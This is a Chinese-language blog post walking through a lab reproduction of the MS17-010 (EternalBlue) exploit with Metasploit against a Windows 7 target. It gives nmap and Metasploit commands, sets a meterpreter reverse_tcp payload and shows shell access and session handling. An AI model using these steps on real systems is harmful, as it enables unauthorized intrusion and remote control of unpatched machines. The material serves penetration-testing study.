MSF复现MS17-010漏洞（永恒之蓝）

雨点打透心脏的1/2处 2023-10-07 23:06 70阅读 0赞

### MS17-010漏洞复现 ###

复现环境

攻击机:kali

靶 机:windows 7

使用工具：Metasploit

Metasploit简介

Metasploit框架（Metasploit Framework，MSF）是一个开源工具，旨在方便渗透测试，它是由Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试人员开发、使用定制的工具模板。

1.主机发现

使用nmap扫描靶机，发现开放445端口

nmap -sV 目标主机IP

2.打开MSF

msfconsole

3.搜索ms17-010

![56bb4381a2a643d2a24eef018eac2993.png][]

3.使用辅助模块，扫描靶机

use auxiliary/scanner/smb/smb\_ms17\_010 \#使用扫描模块

show options \#查看需要配置的参数

set rhosts 靶机IP \#rhosts:Remote Host(远程主机)也就是攻击目标

\#required:设置选项 yes:必须设置 no:可选

![5067f763b1f04d93a72534f1a7ba4bcb.png][]

4.run/exploit \#开始扫描

发现存在漏洞

![ac2cf0e5aaab4998bab58012695f5619.png][]

5.使用攻击模块，进行攻击

use exploit/windows/smb/ms17\_010\_eternalblue

show options \#查看需要配置的参数

![c1039085e7e3413fbb1703b7554613c0.png][]

set rhosts 靶机IP \#设置靶机IP

set lport 6666 \#设置监听端口

lhost ip \#本机IP

lport XXXX \#端口自定义

![eac419ef7dfa4fe7aac978e5bbe480ae.png][]

**设置攻击载荷**

查看payloads

![eebc1db9920f4573bf5a55a9c54c91b4.png][]

选择与靶机相同的版本

![bbb7cf8fe3194b84b3c83dab302d0763.png][]

设置：set payload windows/x64/meterpreter/reverse\_tcp

![03c49548126f4e2db63c819d5b0057ed.png][]

**设置：Exploit target**

\#默认是自动攻击目标

![4123d2efc7bb42158b2b5f366feff61f.png][]

目标是win7系统，所以选择windows 7

6.开始攻击

![b6daf353002f491ba6b0ce8aef8f6ded.png][]

7.出现meterpreter,表示攻击成功，

sysinfo \#`查看目标主机系统信息`

![e652f6ec634f413a94eb6c84667d6d75.png][]

8.输入shell 即可切换到目标主机的windows 7 shell

发现乱码，输入chcp 65001 \#编码为UTF-8格式

![8fcef983431e4c4987c09c2e80e83bdb.png][]

> 退出shell exit
> 
> 从 meterpreter 退出到MSF background
> 
> 查看我们获得的shell sessions -l

![0dd00c4c7475416585f484f0298f19a7.png][]

meterperter操作命令请参考：[命令使用][Link 1]

[56bb4381a2a643d2a24eef018eac2993.png]: https://img-blog.csdnimg.cn/56bb4381a2a643d2a24eef018eac2993.png
[5067f763b1f04d93a72534f1a7ba4bcb.png]: https://img-blog.csdnimg.cn/5067f763b1f04d93a72534f1a7ba4bcb.png
[ac2cf0e5aaab4998bab58012695f5619.png]: https://img-blog.csdnimg.cn/ac2cf0e5aaab4998bab58012695f5619.png
[c1039085e7e3413fbb1703b7554613c0.png]: https://img-blog.csdnimg.cn/c1039085e7e3413fbb1703b7554613c0.png
[eac419ef7dfa4fe7aac978e5bbe480ae.png]: https://img-blog.csdnimg.cn/eac419ef7dfa4fe7aac978e5bbe480ae.png
[eebc1db9920f4573bf5a55a9c54c91b4.png]: https://img-blog.csdnimg.cn/eebc1db9920f4573bf5a55a9c54c91b4.png
[bbb7cf8fe3194b84b3c83dab302d0763.png]: https://img-blog.csdnimg.cn/bbb7cf8fe3194b84b3c83dab302d0763.png
[03c49548126f4e2db63c819d5b0057ed.png]: https://img-blog.csdnimg.cn/03c49548126f4e2db63c819d5b0057ed.png
[4123d2efc7bb42158b2b5f366feff61f.png]: https://img-blog.csdnimg.cn/4123d2efc7bb42158b2b5f366feff61f.png
[b6daf353002f491ba6b0ce8aef8f6ded.png]: https://img-blog.csdnimg.cn/b6daf353002f491ba6b0ce8aef8f6ded.png
[e652f6ec634f413a94eb6c84667d6d75.png]: https://img-blog.csdnimg.cn/e652f6ec634f413a94eb6c84667d6d75.png
[8fcef983431e4c4987c09c2e80e83bdb.png]: https://img-blog.csdnimg.cn/8fcef983431e4c4987c09c2e80e83bdb.png
[0dd00c4c7475416585f484f0298f19a7.png]: https://img-blog.csdnimg.cn/0dd00c4c7475416585f484f0298f19a7.png
[Link 1]: https://blog.csdn.net/weixin_51151498/article/details/128754277?spm=1001.2014.3001.5502